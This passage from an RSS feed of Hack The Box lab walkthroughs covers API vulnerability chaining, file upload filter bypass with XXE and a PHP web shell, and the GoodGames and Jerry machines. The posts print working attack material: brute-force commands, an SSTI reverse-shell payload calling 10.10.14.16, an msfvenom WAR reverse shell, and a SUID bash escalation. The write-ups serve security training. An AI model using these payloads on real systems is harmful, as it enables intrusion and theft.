src="https://cdn-images-1.medium.com/max/1024/0*Yi7gd7hnydpGx-_F" /><figcaption>List of suppliers using same security question</figcaption></figure><p>We compiled a list of their emails and <a href="https://github.com/imsky/wordlists/blob/master/adjectives/colors.txt">color.txt wordlist</a>, used <strong>ffuf</strong> to brute-force possible answers:</p><pre>ffuf -w colors.txt:PASS -w suppliers-emails.txt:EMAIL \<br>-u http://&lt;ip&gt;:&lt;port&gt;/api/v2/authentication/suppliers/passwords/resets/security-question-answers \<br>-X POST -H &quot;Content-Type: application/json&quot; \<br>-d &#39;{&quot;SupplierEmail&quot;: &quot;EMAIL&quot;, &quot;SecurityQuestionAnswer&quot;: &quot;PASS&quot;, &quot;NewPassword&quot;: &quot;Password123456!@&quot;}&#39; \<br>-fr &quot;false&quot; -t 100</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s-PEu0SO6gofiAFxuln3FA.png" /><figcaption>ffuf brute-force command and successful result</figcaption></figure><p>✅ Success!</p><ul><li>Email: <strong>some-user@example.com</strong></li><li>Answer: <strong>rust</strong></li><li>New Password: <strong>Password123456!@</strong></li></ul><h3>Logging in as Supplier</h3><p>We used the recovered credentials to log in:</p><pre>Email: some-user@example.com<br>Password: Password123456!@</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pNDvaRfWtI1AtkwwInWUMA.png" /><figcaption>Successful login as compromised supplier</figcaption></figure><p>Authenticated as supplier role.</p><h3>Supplier Info &amp; File Upload Enumeration</h3><p>Fetched current supplier profile:</p><pre>GET /api/v2/suppliers/current-user</pre><p>Confirmed no CV was uploaded yet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wPdOfmnTdzEtSnnRZDmkVQ.png" /><figcaption>Supplier profile with no uploaded CV</figcaption></figure><h3>Uploading a Fake CV File</h3><p>We created a random dummy PDF using:</p><pre>dd if=/dev/urandom of=cvPDFForamtFile.pdf bs=50k count=1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8NM_x_zljupBdYyO" /><figcaption>Dummy PDF file generated for upload</figcaption></figure><p>The CV upload returned:</p><pre>&quot;fileURI&quot;: &quot;file:///app/wwwroot/SupplierCVs/cvPDFForamtFile.pdf&quot;</pre><h3>Injecting a Local File Path</h3><p>Used the PATCH endpoint to override the CV file URI:</p><pre>PATCH /api/v2/suppliers/current-user<br>{<br>  &quot;ProfessionalCVPDFFileURI&quot;: &quot;file:///flag.txt&quot;,<br>  &quot;SecurityQuestion&quot;: &quot;What is your favorite color?&quot;,<br>  &quot;SecurityQuestionAnswer&quot;: &quot;rust&quot;,<br>  &quot;PhoneNumber&quot;: &quot;string&quot;,<br>  &quot;Password&quot;: &quot;Password123456!@&quot;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qUJkPD3gKcvQT_QX" /><figcaption>PATCH request showing file URI manipulation</figcaption></figure><p>We received a success status response, meaning the CV pointer was updated.</p><h3>Retrieving the Flag</h3><p>Used:</p><pre>GET /api/v2/suppliers/current-user/cv</pre><p>Received base64-encoded content.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5wlelXPjdh8FYX17dregFQ.png" /><figcaption>Base64 encoded response from CV retrieval</figcaption></figure><p>Decoded content revealed:</p><pre>HTB{The_Flag}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*scXrcU9h-AZvtaDAYy8-BQ.png" /><figcaption>Final decoded flag output from the exploit</figcaption></figure><h3>Conclusion</h3><ul><li>🟢 <strong>Mass Assignment</strong> vulnerability discovered</li><li>🟢 <strong>Sensitive Data Disclosure</strong> from customer role</li><li>🟢 <strong>Password Reset Exploit</strong> via security question fuzzing</li><li>🟢 <strong>LFI via File URI Injection</strong></li><li>🟢 Successfully <strong>chained vulnerabilities for full flag access</strong></li></ul><p>Thanks for reading!</p><p><em>This write-up is part of my HTB Certified Web Penetration Tester journey.</em></p><p>🔗 Follow on for more walkthroughs &amp; insights</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0af4686c57f7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Bug Bounty Hunter Certification’s skill assessments: File Upload Attacks Walkthrough]]></title>
            <link>https://medium.com/@ZeroByte/htb-bug-bounty-hunter-certifications-skill-assessments-file-upload-attacks-walkthrough-2c2895bba6df?source=rss-e94c25347461------2</link>
            <guid isPermaLink="false">https://medium.com/p/2c2895bba6df</guid>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <category><![CDATA[rce]]></category>
            <category><![CDATA[lfi]]></category>
            <category><![CDATA[file-upload-vulnerability]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[ZeroByte]]></dc:creator>
            <pubDate>Tue, 27 May 2025 02:26:40 GMT</pubDate>
            <atom:updated>2025-05-27T02:26:40.010Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/803/0*ZeDQneyvbEniHYwS.png" /></figure><h3>Assignment Summary</h3><p>You’re hired to perform a penetration test against a company’s e-commerce site in early development. Your goal is to test the file upload forms and exploit them to read a flag located at the root directory (/).</p><h4>Step 1: Scoping the Challenge</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/0*91qYVJn2PrH8t3aj" /></figure><p>The assessment provides a clear objective: Exploit the upload form to read the flag at /.</p><h4>Step 2: Discovering the Upload Functionality</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*54nOSfQMoQTi1kib" /></figure><p>During reconnaissance, I identified an upload form embedded in the <em>“Contact Us”</em> section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*oIACB9930yTlP788" /></figure><p>Here, the user can upload screenshots. This is our entry point.</p><h4>Step 3: Upload Attempt and Observations</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9I4z_l3esL9Ozr_i" /><figcaption>Burp Suite request/response after uploading shell.jpg</figcaption></figure><p>A standard .jpg file was accepted and rendered inline via Base64, confirming basic file handling but no execution.</p><h4>Step 4: Preparing for Filter Evasion</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/0*uOd0LVYLN7jwtVRE" /><figcaption>Burp Suite payload encoding section</figcaption></figure><p>To understand and bypass file filters, I used <strong>Burp Intruder</strong> and <strong>PayloadsAllTheThings</strong> to test for extension filtering.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*oG-YnS1F5QnRqbzE" /><figcaption>Intruder fuzzing common PHP extensions</figcaption></figure><p>Extensions like .jpg.php, .php5, .pht, and .phar.jpg were tested.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-ZNKA45Jo1kM5gQZ" /><figcaption>phar.jpg with larger response size</figcaption></figure><p>The .phar.jpg payload stood out due to its different response length, suggesting it bypassed file extension checks.</p><h4>Step 5: Content-Type Filter Bypass</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/0*bk19_vtmurmmJlQ_" /><figcaption>discovering image/svg+xml as accepted content-type</figcaption></figure><p>Fuzzing the Content-Type header revealed that image/svg+xml was accepted, enabling <strong>XXE-based attacks</strong>.</p><h4>Step 6: Exploiting XXE via SVG Payload</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BzVevcrMkZjHweAH" /><figcaption>XXE reading /etc/passwd</figcaption></figure><p>Using an .svg payload, I performed a successful <strong>XXE attack</strong> to exfiltrate /etc/passwd.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*h-CD4gvK6JRv-B-q" /><figcaption>XXE leaking upload.php using php://filter</figcaption></figure><p>Then, I encoded and read upload.php using php://filter/convert.base64-encode.</p><h4>Step 7: Analyzing Source Code Logic</h4><p>The decoded source revealed three important filters:</p><ul><li><strong>Blacklist</strong>: blocks .ph(p|ps|tml) extensions.</li><li><strong>Whitelist</strong>: enforces .[a-z]{2,3}g$ (e.g., .jpg, .png).</li><li><strong>MIME validation</strong>: ensures image/*g pattern match.</li></ul><p>From this, two valid extensions emerged:</p><p>.phar.jpg</p><p>.phz.jpg</p><h4>Step 8: Achieving Remote Code Execution (RCE)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1009/0*P0h_vpH94YJzCuDK" /><figcaption>PHP shell blocked initially</figcaption></figure><p>Uploading a plain PHP shell was blocked due to MIME inspection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*r2EqD_NmsExySs8y" /><figcaption>Modified shell with JPEG header</figcaption></figure><p>By prepending a <strong>fake JPEG signature</strong>, I tricked the MIME filter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*H3B0MrUk7RZxe3WY" /></figure><p>The modified file passed all checks and displayed as a valid image</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/0*YAIf4hcOaK87jG_B" /><figcaption>Opening the uploaded payload</figcaption></figure><p>I opened the path in the browser to test execution.</p><p>From the upload.php source code, we identified the upload path as user_feedback_submissions. We also observed that uploaded files are renamed using a YearMonthDay_ prefix followed by the original filename before being stored in the directory.</p><pre>&lt;?php<br>require_once(&#39;./common-functions.php&#39;);<br><br>// uploaded files directory<br>$target_dir = &quot;./user_feedback_submissions/&quot;;<br><br>// rename before storing<br>$fileName = date(&#39;ymd&#39;) . &#39;_&#39; . basename($_FILES[&quot;uploadFile&quot;][&quot;name&quot;]);<br>$target_file = $target_dir . $fileName;<br><br>// get content headers<br>$contentType = $_FILES[&#39;uploadFile&#39;][&#39;type&#39;];<br>$MIMEtype = mime_content_type($_FILES[&#39;uploadFile&#39;][&#39;tmp_name&#39;]);<br><br>// blacklist test<br>if (preg_match(&#39;/.+\.ph(p|ps|tml)/&#39;, $fileName)) {<br>    echo &quot;Extension not allowed&quot;;<br>    die();<br>}<br><br>// whitelist test<br>if (!preg_match(&#39;/^.+\.[a-z]{2,3}g$/&#39;, $fileName)) {<br>    echo &quot;Only images are allowed&quot;;<br>    die();<br>}<br><br>// type test<br>foreach (array($contentType, $MIMEtype) as $type) {<br>    if (!preg_match(&#39;/image\/[a-z]{2,3}g/&#39;, $type)) {<br>        echo &quot;Only images are allowed&quot;;<br>        die();<br>    }<br>}<br><br>// size test<br>if ($_FILES[&quot;uploadFile&quot;][&quot;size&quot;] &gt; 500000) {<br>    echo &quot;File too large&quot;;<br>    die();<br>}<br><br>if (move_uploaded_file($_FILES[&quot;uploadFile&quot;][&quot;tmp_name&quot;], $target_file)) {<br>    displayHTMLImage($target_file);<br>} else {<br>    echo &quot;File failed to upload&quot;;<br>}</pre><pre>/contact/user_feedback_submissions/250526_shell.phar.jpg?cmd=id</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*VKQRdlKGvE88Jzdf" /><figcaption>RCE via ?cmd=id</figcaption></figure><p>Using ?cmd=id, I confirmed command execution on the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1007/0*JkK-Z-9melcFiI44" /><figcaption>ls command output</figcaption></figure><p>I enumerated files in the directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1013/0*-rczB9OPcb8vKU6n" /><figcaption>pwd shows upload location</figcaption></figure><p>Confirmed working directory: /var/www/html/contact/user_feedback_submissions</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/0*XxaPrN7dF1Dvx-S1" /><figcaption>pwd shows / after traversal</figcaption></figure><p>Used directory traversal (cd ../../../..) to reach the system root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*EeoLEd4g0zcaQU7u" /><figcaption>ls in root showing the flag file</figcaption></figure><p>Identified the flag file in /.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*SmWuv_hYwmMBvvGUV57DiA.png" /><figcaption>the flag</figcaption></figure><p>Read the flag using:</p><p>cat flag_Not-The-Real-Path.txt</p><p>Flag: HTB{Not_The_Real_Flag}</p><h4>Conclusion</h4><p>This skill assessment showcased:</p><ul><li>Extension and MIME-type bypassing</li><li>XXE for source code and file disclosure</li><li>Manual debugging of filters</li><li>Remote Code Execution via crafted payloads</li><li>Directory traversal for privilege scope escalation</li></ul><p>It demonstrates how chaining smaller flaws leads to full compromise.</p><h3>AppSec Insights &amp; Recommendation</h3><p>From an Application Security perspective, this assessment reinforces key principles:</p><ul><li>Never rely solely on extension/MIME checks</li><li>Sanitize all user input, including XML</li><li>Store uploads in non-executable directories</li><li>Use strict content validation on server-side file handlers</li><li>Disable PHP stream wrappers like php://filter in production</li></ul><p>Thanks for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2c2895bba6df" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Goodgames Walkthrough: Exploiting SQL Injection, SSTI, and Docker escape]]></title>
            <link>https://medium.com/@ZeroByte/htb-goodgames-walkthrough-exploiting-sql-injection-ssti-and-docker-escape-d39f18c32607?source=rss-e94c25347461------2</link>
            <guid isPermaLink="false">https://medium.com/p/d39f18c32607</guid>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[ssti]]></category>
            <category><![CDATA[docker]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[ZeroByte]]></dc:creator>
            <pubDate>Mon, 03 Feb 2025 03:54:34 GMT</pubDate>
            <atom:updated>2025-02-03T04:07:09.456Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*XlZYTkxJBHJ99FO9ZVCN_A.png" /></figure><p><strong>Introduction</strong></p><p>This write-up documents my journey solving the “GoodGames” machine on Hack The Box, categorized as Easy-Medium. The challenge involved exploiting SQL Injection to gain admin access, leveraging SSTI vulnerabilities for initial compromise, and escaping a Docker container to escalate privileges and retrieve the flags. Below is a detailed, step-by-step walkthrough of the entire process.</p><h3>Reconnaissance</h3><h3>Nmap Scan</h3><p>To begin, I performed an <strong>Nmap</strong> scan to identify open ports and services on the target machine:</p><pre>export IP=10.10.11.130<br>sudo nmap -sS -sV -oN full-scan $IP</pre><p>The scan revealed port <strong>80 (HTTP)</strong> was open, indicating a web application running on <strong>Python</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*_2ON9alP7YTLlVzm" /><figcaption>Nmap scan - revealing port 80 (HTTP) as open on the target machine</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*FvuRWnA3_ZrwtDgn" /></figure><h3>Login Form Discovery</h3><p>While exploring the website, I found a <strong>login portal</strong>, accessible by clicking the small user icon at the top left of the page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/0*xSIwFumju_lXp20E" /><figcaption>The login page with email and password fields</figcaption></figure><h3>Directory Enumeration (Dirsearch)</h3><p>I ran <strong>Dirsearch</strong> to map out available directories:</p><pre>sudo dirsearch -u http://goodgames.htb/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*GY9Kv3-16gy19G18" /><figcaption>discovered directories and files on the web application</figcaption></figure><h3>Enumeration &amp; Exploitation</h3><h3>SQL Injection in Login Form</h3><p>To bypass authentication, I attempted <strong>SQL Injection</strong> on the login page. After several attempts, I successfully retrieved a <strong>JWT token for the administrator</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*GxcLMOQ-RkYqjgjV" /><figcaption>Successful login as admin using SQL Injection</figcaption></figure><p>The changes in the icons at the top of the page confirmed successful authentication as an admin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*kqJZoD3_qW1BYr9_" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*SbWjE_lZ_Sd_8Tw9" /></figure><h3>Automating SQL Injection with SQLMap</h3><p>To extract further data, I used <strong>SQLMap</strong>:</p><pre>sqlmap -r for-sqlmap --dump</pre><p>This revealed a database named <strong>main</strong> with a <strong>user</strong> table containing admin credentials. The admin password was hashed using <strong>MD5</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*ZefpDkHbYQ-MFOLl" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*0LGJgZ4FyW4NQtW_" /></figure><p>Since <strong>MD5 is weak</strong>, I cracked it using an online hash database, retrieving the plaintext password: <strong>superadministrator</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*9FuRyv2NRjOwqhJM" /></figure><h3>Gaining Admin Panel Access</h3><h3>Discovering the Admin Portal</h3><p>After successfully logging in as admin, I found an internal <strong>admin panel subdomain </strong>when I clicked the top right button:</p><pre>http://internal-administration.goodgames.htb</pre><p>I added this subdomain to <strong>/etc/hosts</strong>:</p><pre>echo &quot;10.10.11.130 internal-administration.goodgames.htb&quot; | sudo tee -a /etc/hosts</pre><p>Using the discovered credentials:</p><pre>Username: admin<br>Password: superadministrator</pre><p>I successfully logged into the <strong>Flask Volt admin dashboard</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/494/0*6QTPK6zzTYztpKLy" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*S-z-0Hn4vs2JI4W3" /><figcaption>Admin panel access after successful login</figcaption></figure><h3>Initial Compromise</h3><h3>Exploiting SSTI in Jinja2 Template Engine</h3><p>Examining the application’s structure, I found user input fields rendering directly on the page. Given the app was built with <strong>Flask</strong>, I tested <strong>Server-Side Template Injection (SSTI)</strong> using <strong>Jinja2</strong>:</p><pre>{{ self._TemplateReference__context.cycler.__init__.__globals__.os.system(&quot;python3 -c &#39;import socket,os,pty;s=socket.socket();s.connect((\&quot;10.10.14.16\&quot;,4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\&quot;/bin/bash\&quot;)&#39;&quot;) }}</pre><p>Executing this payload spawned a <strong>reverse shell</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*G4JeT8ILPRdrCq9R" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*ftSzA-qI6ptfgVsz" /><figcaption>Payload execution for reverse shell access</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/355/0*hoR8A8ReIjTTXJo5" /></figure><h3>User Flag</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/0*UigU5VvB_4rU8O8r" /></figure><h3>Privilege Escalation</h3><h3>Identifying a Docker Environment</h3><p>Listing the home directory revealed <strong>UID 1000</strong>, indicating the presence of a <strong>Docker container</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/0*6dSRE3bbBQSO4fkJ" /></figure><p>To confirm, I ran:</p><pre>mount</pre><p>It showed the <strong>/home/augustus directory was mounted from the host system</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/0*N3z7mqbCtmTe42kS" /><figcaption>Docker environment with shared directories confirmed</figcaption></figure><h3>Escaping Docker via SSH Lateral Movement</h3><pre>ifconfig</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/0*ZPSKrU9uE6C1g9t7" /></figure><p>Inspecting the available network adapters reveals that the container’s IP address is <strong>172.19.0.2</strong>.<br> By default, <strong>Docker</strong> assigns the first IP address in the subnet to the <strong>host system</strong>.<br> Therefore, it is highly likely that <strong>172.19.0.1</strong> is the internal <strong>host IP address</strong> within the Docker network.</p><p>Further inspection of the network interfaces confirmed that <strong>172.19.0.1</strong> belongs to the <strong>Docker host</strong>.</p><p>I scanned for open ports using a Bash loop:</p><pre>for port in {1..65535}; do (echo &gt;/dev/tcp/172.19.0.1/$port) &amp;&gt;/dev/null &amp;&amp; echo &quot;Port $port is open&quot;; done</pre><p>This revealed <strong>SSH was open on the host</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LFFsDwaPh_0z5cnJdXZCfg.png" /><figcaption>Bash loop results showing SSH and HTTP ports open on the host</figcaption></figure><p>Attempting password reuse, I successfully SSH’d into the host system as <strong>augustus</strong>:</p><pre>script /dev/null bash  # will create a new shell session<br>ssh augustus@172.19.0.1  # connect with SSH to augustus user to escape the container</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/0*Kda-scIFRyGkb_U-" /><figcaption>Successful SSH access to the host as Augustus</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/244/0*CzDNO-8Q7Cdv2osW" /></figure><h3>Exploiting Mount Permissions for Root Access</h3><p>Since the home directory was mounted, I escalated privileges by:</p><ol><li><strong>Copying Bash to the host’s home directory:</strong></li></ol><pre>cp /bin/bash .</pre><p><strong>2. Exiting SSH back to the container:</strong></p><pre>logout</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/310/0*jDIC-0uQmtKS3zK-" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/0*-E-j_fDW1FmesCQo" /><figcaption>before the changes on the bash file</figcaption></figure><p><strong>3. Changing ownership and setting SUID bit:</strong></p><pre>chown root:root bash</pre><p><strong>4. Reconnecting and executing the modified Bash binary:</strong></p><pre>chmod 4775 bash</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/0*4C6s0wEqx4aE6l6b" /><figcaption>Setting SUID on Bash for root escalation</figcaption></figure><pre>ssh augustus@172.19.0.1<br>./bash -p</pre><p><strong>Confirming root access:</strong></p><pre>whoami</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/270/0*W_YXc3DQ1-jrzUjA" /><figcaption>Confirmation of root access</figcaption></figure><h3>Final Flag: root.txt</h3><p>By gaining <strong>root privileges</strong>, I successfully retrieved the final flag:</p><pre>cat /root/root.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*F4ShexLI-QEyq-LVABP8Cg.png" /><figcaption>Captured the root flag</figcaption></figure><h3>Conclusion</h3><p>This challenge involved multiple attack techniques:</p><ul><li><strong>SQL Injection</strong> for admin access.</li><li><strong>SSTI</strong> for initial compromise.</li><li><strong>Docker escape</strong> via SSH lateral movement.</li><li><strong>Privilege escalation</strong> using mounted directories.</li></ul><p><strong>Thank you for reading! I hope you found this walkthrough insightful. Feel free to share your thoughts or ask any questions. Happy hacking!</strong> 😊</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d39f18c32607" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Jerry Walkthrough: Cracking Tomcat and Uncovering Hidden Flags]]></title>
            <link>https://medium.com/@ZeroByte/htb-jerry-ctf-exploiting-apache-tomcat-and-accessing-windows-eecadf830305?source=rss-e94c25347461------2</link>
            <guid isPermaLink="false">https://medium.com/p/eecadf830305</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[file-upload-vulnerability]]></category>
            <dc:creator><![CDATA[ZeroByte]]></dc:creator>
            <pubDate>Thu, 30 Jan 2025 02:54:41 GMT</pubDate>
            <atom:updated>2025-02-03T04:05:58.645Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*mQ7LrWrhhlDSZrH1PHaYCw.png" /></figure><p>Introduction</p><p>This write-up documents my experience solving the “Jerry” machine on Hack The Box, categorized as <em>Easy</em>. The challenge involves exploiting an Apache Tomcat server to gain access, deploying a reverse shell, and navigating the Windows environment to retrieve the flags. Below is a detailed, step-by-step breakdown of the process.</p><h4>Step 1: Initial Scanning and Reconnaissance</h4><p>I conducted a comprehensive scan nmap to identify open ports and services. The following command was used:</p><pre>sudo nmap -sS -sV -p- -Pn -T4 -oN full-scan 10.10.10.95</pre><p>The scan revealed port <strong>8080</strong>, hosting an <strong>Apache Tomcat 7.0.88</strong> application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/1*8oQhJAD59cXXOKBir8sLjw.png" /><figcaption>Open port 8080 and Apache Tomcat service</figcaption></figure><p>Navigating the application in a browser confirmed the presence of the default Tomcat interface, including a management panel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*f8LxNC2pmsDGeeGY" /><figcaption>Default Tomcat page with Manager panel</figcaption></figure><h4>Step 2: Brute-Forcing Credentials</h4><p>To access the management panel, I first needed credentials. Using <strong>Hydra</strong>, I conducted a brute-force attack with default credential wordlists from the Metasploit framework:</p><pre>hydra -L /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt -P /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt http-get://10.10.10.95:8080/manager/status</pre><p>This attack successfully uncovered the following credentials:</p><ul><li><strong>Username:</strong> tomcat</li><li><strong>Password:</strong> s3cret</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*uERq5gTVO3ll9MEf" /><figcaption>Found credentials</figcaption></figure><h4>Step 3: Authenticating to Apache Tomcat Manager</h4><p>After obtaining the credentials, I attempted to access the management panel but encountered an issue. Authentication failed until I inspected the HTTP request using <strong>Burp Suite</strong>. I noticed the absence of an Authorization header and added the required Base64-encoded credentials:</p><pre>Authorization: Basic dG9tY2F0OnMzY3JldA==</pre><p>With the header added, I successfully accessed the Tomcat Manager interface.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*TSHi9m21nOnmB56l" /><figcaption>Added Authorization header for login</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dfyr7KBRPKzeetZ3" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ycWYdlyputzZ_GL5O69A2Q.png" /><figcaption>Panel for uploading WAR files</figcaption></figure><h4>Step 4: Deploying a Malicious WAR File</h4><p>To exploit the upload functionality, I generated a <strong>WAR payload</strong> using <strong>MSFVenom</strong>:</p><pre>msfvenom -p java/shell_reverse_tcp LHOST=10.10.14.34 LPORT=4444 -f war -o shell.war</pre><p>It is important to note that simply renaming a file .war Without proper payload generation, deployment fails. Below is an error message encountered during such attempts:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1_XLDzWYyjM_cH8d875ypg.png" /><figcaption>Failure with improperly formatted file</figcaption></figure><p>After generating the correct payload, I uploaded the WAR file via the management panel and triggered it by navigating to:</p><pre>http://10.10.10.95:8080/shell/api.jsp</pre><p>Simultaneously, I started a Netcat listener to catch the reverse shell:</p><pre>nc -lvnp 4444</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/0*5WdeGal-6a7YZnqA" /><figcaption>Created reverse shell payload</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ddW7bfpQX0N0blcE" /><figcaption>Listener capturing reverse shell</figcaption></figure><h4>Step 5: Accessing the Windows Environment and Retrieving Flags</h4><p>With the reverse shell established, I navigated the Windows file system to locate the Flags directory on the Administrator’s Desktop. Inside, I found the user.txt and root.txt flags.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/0*sNLhP_-yhBlmsDWJ" /><figcaption>Folder with user.txt and root.txt</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*6FNMeoFDh-77IP4tloWEUQ.png" /><figcaption>Contents of the retrieved flags</figcaption></figure><h4>Key Takeaways and Lessons Learned</h4><ol><li><strong>Header Analysis:</strong> Always inspect HTTP requests to identify missing headers that may prevent proper authentication.</li><li><strong>Payload Generation:</strong> Ensure payloads are generated with the correct format and structure (e.g., .war) to avoid deployment failures.</li><li><strong>Default Credentials:</strong> Leveraging common wordlists remains a reliable method for uncovering weak or default credentials.</li></ol><h4>Tools and Commands Summary</h4><p><strong>Tools Used</strong></p><ul><li><strong>Nmap</strong>: For service enumeration and port scanning.</li><li><strong>Hydra</strong>: To perform brute-force attacks.</li><li><strong>Burp Suite</strong>: For inspecting and modifying HTTP requests.</li><li><strong>MSFVenom</strong>: For generating malicious payloads.</li><li><strong>Netcat</strong>: To establish a listener for the reverse shell.</li></ul><p><strong>Commands</strong></p><p>Nmap:</p><pre>sudo nmap -sS -sV -p- -Pn -T4 -oN full-scan 10.10.10.95</pre><p>Hydra:</p><pre>hydra -L /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt -P /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt http-get://10.10.10.95:8080/manager/status</pre><p>MSFVenom:</p><pre>msfvenom -p java/shell_reverse_tcp LHOST=10.10.14.34 LPORT=4444 -f war -o shell.war</pre><p>Netcat:</p><pre>nc -lvnp 4444</pre><h4>Conclusion</h4><p>The “Jerry” machine provided a comprehensive learning experience, from credential brute-forcing and HTTP header analysis to generating and deploying a payload in the correct format. Successfully exploiting Apache Tomcat and navigating the Windows environment reinforced critical penetration testing concepts and methodologies.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eecadf830305" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Cap CTF: IDOR Exploitation and Privilege Escalation with Python Capabilities]]></title>
            <link>https://medium.com/@ZeroByte/htb-cap-ctf-idor-exploitation-and-privilege-escalation-with-python-capabilities-f0c6a1050d4c?source=rss-e94c25347461------2</link>
            <guid isPermaLink="false">https://medium.com/p/f0c6a1050d4c</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[idor-vulnerability]]></category>
            <dc:creator><![CDATA[ZeroByte]]></dc:creator>
